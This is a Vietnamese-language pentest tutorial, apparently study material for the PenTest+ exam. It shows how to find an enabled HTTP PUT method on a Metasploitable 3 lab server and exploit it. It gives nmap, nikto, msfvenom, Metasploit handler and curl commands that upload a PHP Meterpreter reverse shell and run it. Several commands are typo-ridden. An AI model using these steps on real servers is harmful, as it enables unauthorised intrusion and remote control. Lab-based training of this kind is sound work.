Trong hướng dẫn hack này, chúng tôi sẽ khai thác phương thức HTTP PUT trên máy chủ web Metasploitable 3 để tải tệp lên máy chủ web. Nếu phương thức HTTP PUT được bật trên máy chủ web, nó có thể được sử dụng để tải lên một tài nguyên cụ thể lên máy chủ đích, chẳng hạn như trình bao web (web shell) và thực thi nó. Trong bài này các bạn sẽ xem xét cách xác định xem phương thức HTTP PUT có được bật hay không và chúng ta sẽ sử dụng một số phương pháp khác nhau để tải lên trình bao đảo ngược Meterpreter.
Hãy xem phần hướng dẫn setup lab PENTEST +
Xác định các phương thức HTTP được phép
Trước tiên, chúng ta sẽ tìm hiểu cách xác định phương thức HTTP nào được phép và tìm hiểu xem HTTP PUT có phải là một trong số chúng hay không. Từ quá trình quét cổng Nmap, chúng tôi phát hiện ra rằng Metasploitable đang chạy Microsoft IIS trên cổng 80 và Apache httpd 2.2.21 trên cổng 8585. Trong hướng dẫn này, chúng tôi sẽ nhắm mục tiêu máy chủ Apache trên cổng 8585.
Quét dịch vụ Nmap trên Metasploitable 3
Khám phá thư mục máy chủ web với Dirb
Bước tiếp theo là tìm hiểu những thư mục nào hiện có trên máy chủ web này. Một công cụ tuyệt vời để buộc các thư mục trên máy chủ web là dirb. Khi chúng tôi chạy dirb trên máy chủ web Apache bằng lệnh sau, chúng tôi tìm thấy một thư mục có tên ‘uploads’:
Dirb đã tìm thấy thư mục tải lên trên Metasploitable 3 cổng 8585.
Nmap: Xác định các phương thức HTTP được phép
Chúng tôi có thể sử dụng một số phương pháp để xác định xem chúng tôi có được phép tải tệp lên thư mục này bằng phương thức HTTP PUT hay không. Việc kiểm tra các phương thức HTTP được phép có thể được thực hiện bằng phương thức OPTIONS HTTP cung cấp danh sách các phương thức được phép. Nhưng vì điều này không phải lúc nào cũng hoạt động nên một cách dễ dàng hơn là chạy tập lệnh Nmap http-method trên thư mục tải lên. Khi chúng tôi chạy lệnh sau, thấy rằng HTTP PUT được bật cho thư mục tải lên:
nmap –script http-method –script-args http-method.url-path = ‘/ uploads’, http-method.test-all -p 8585 172.28.128.3
Tập lệnh Nmap HTTP-Method trả về các phương thức được phép cho thư mục tải lên.
Như chúng ta có thể thấy máy chủ web cho phép chúng ta tải tệp lên thư mục tải lên và thậm chí xóa tệp.
Nikto
Chúng tôi cũng có thể sử dụng máy quét lỗ hổng web Nikto để xác định các lỗ hổng trong máy chủ web (trong module 4 của Pentest + Study Guide có nói và hỏi về 2 công cụ này, các bạn cần luu ý) . Nếu phương thức HTTP PUT được bật Nikto sẽ chỉ ra điều này như sau:
nikto -host http://172.28.128.3:8585/uploads
Dòng cuối cùng của đầu ra Nikto cho biết rằng các thư mục tải lên cho phép tải tệp lên bằng HTTP PUT.
Khai thác HTTP PUT cho shell
Bây giờ chúng ta biết chúng ta có thể tải tệp lên thư mục này, hãy xem một số cách khác nhau để thực hiện việc này. Trong các bước tiếp theo của hướng dẫn này, chúng tôi sẽ tải lên một kịch bản lệnh shell đảo ngược Meterpreter PHP lên máy chủ web và thực thi nó. Chúng tôi sẽ trình bày cách tải tệp lên bằng Nmap, Metasploit và Curl.
— Lưu ý : Một số Vunlhub hay CTF cũng hay có lỗi này để up shell, nhiều khi trang chủ hay trang chính không thấy gì nhưng trang phụ hay thư mục con lại có … hãy kiên nhẫn và cẩn thận, tỉ mỉ trong dò quét và kiểm tra.
Nmap HTTP PUT Meterpreter shell
Trước tiên, hãy tạo một tải trọng trình bao đảo ngược PHP Meterpreter với msfvenom bằng cách chạy lệnh sau:
msfvenom -p php / meterpreter / reverse_tcp lhost = [IP máy chủ đang nghe] lport = 4444 -f raw> /root/meterpreter.php
Tạo tải trọng trình bao đảo ngược PHP Meterpreter với Msfvenom.
Sửa đổi tệp để đảm bảo rằng các tập lệnh chứa các thẻ mở và đóng PHP thích hợp:
Thêm thẻ mở PHP vào đầu tệp:
Tiếp theo, chúng ta sẽ thiết lập trình lắng nghe trong Metasploit để chặn ngược shell bằng các lệnh sau:
use exploit/multi/handler
set payload php/ méterpreter /reverse_tcp
set lhost [IP máy chủ đang nghe]
set lport 4444
run
Thiết lập khai thác nhiều trình xử lý trong Metasploit.
Tập lệnh Nmap HTTP-PUT
Bây giờ chúng tôi đã tạo tải trọng Meterpreter và thiết lập trình lắng nghe của chúng tôi trong Metasploit, chúng tôi sẽ sử dụng Nmap để tải tải trọng Meterpreter lên máy chủ web. Thực thi lệnh sau để chạy tập lệnh Nmap http-put :
nmap -sV –script http-put –script-args http-put.url = ‘/ uploads / metpreter.php’, http-put.file = ‘/ root / Desktop / metpreter.php’ -p 8585 [IP mục tiêu]
Tập lệnh http-put Nmap trên cổng 8585.
Như chúng ta có thể thấy trên ảnh chụp màn hình, meterpreter.php đã được tạo thành công. Vì cổng 8585 không được định nghĩa là cổng dịch vụ http trong tệp dịch vụ nmap, điều quan trọng là các bạn phải chạy quét dịch vụ với cờ -sV. Nếu không, tập lệnh sẽ không thành công khi tải tệp lên và chỉ hiển thị một cổng đang mở và dịch vụ không xác định.
Mô-đun phụ trợ Metasploit HTTP PUT
Chúng ta cũng có thể sử dụng mô-đun phụ Metasploit HTTP PUT để tải tệp lên thư mục web tải lên. Trong các bước sau, chúng tôi sẽ tải lên tập lệnh trình bao ngược PHP Meterpreter mà chúng tôi đã tạo trước đó trong hướng dẫn này và chặn trình bao ngược Meterpreter bằng mô-đun đa trình xử lý. Chạy các lệnh sau:
msfconsole
use auxiliary/scanner/http/http_put
set rhosts [rhost]
set rport 8585
set path /uploads
set filename meterpreter.php
set filedata file://root/Desktop/meterpreter.php
Bước tiếp theo là thiết lập lại mô-đun đa trình xử lý để chặn kết nối trình bao đảo ngược và thực thi mô-đun phụ trợ bằng lệnh run:
Metasploit cho biết rằng quá trình tải lên không thành công.
Metasploit cho chúng ta biết rằng quá trình tải lên không thành công, nhưng khi chúng tôi kiểm tra thư mục tải lên trên máy chủ web, chúng tôi có thể thấy rằng quá trình tải lên tệp đã diễn ra:
Nhưng việc tải lên đã thành công.
Tất cả những gì còn lại là thực thi tập lệnh PHP và nhận một trình bao ngược từ máy Metasploitable 3 trên attacker của chúng tôi:
Thực thi tập lệnh metpreter.php trên máy chủ web và nhận một trình bao ngược lại trên trình xử lý đa của bạn.
HTTP PUT với Curl
Cuối cùng, các bạn cũng có thể tải lên tải trọng Meterpreter bằng một lệnh duy nhất bằng cách sử dụng Curl:
curl -i -X PUT -H “Content-Type: text/plain; charset=utf-8” -d “/root/Desktop/meterpreter.php” http://172.28.128.3:8585/uploads/meterpreter.php
Ngoài ra, bạn cũng có thể sử dụng Curl để tải lên tệp metpreter.php bằng HTTP-PUT.
Như chúng ta thấy, tập tin metpreter.php đã được tải lên máy chủ web thành công.
Bài học kinh nghiệm
Trong hướng dẫn này, chúng ta đã học cách đánh giá máy chủ web để tải tệp lên bằng phương pháp HTTP PUT. Chúng tôi đã phát hiện ra rằng thư mục tải lên trên cổng 8585 trên máy Metasploitable 3 cho phép chúng tôi tải lên các tệp độc hại và thực thi chúng trong ngữ cảnh của máy chủ web. Chúng tôi đã sử dụng 3 công cụ khác nhau để tải tệp lên; Nmap, Metasploit và Curl.
Phần tiếp theo :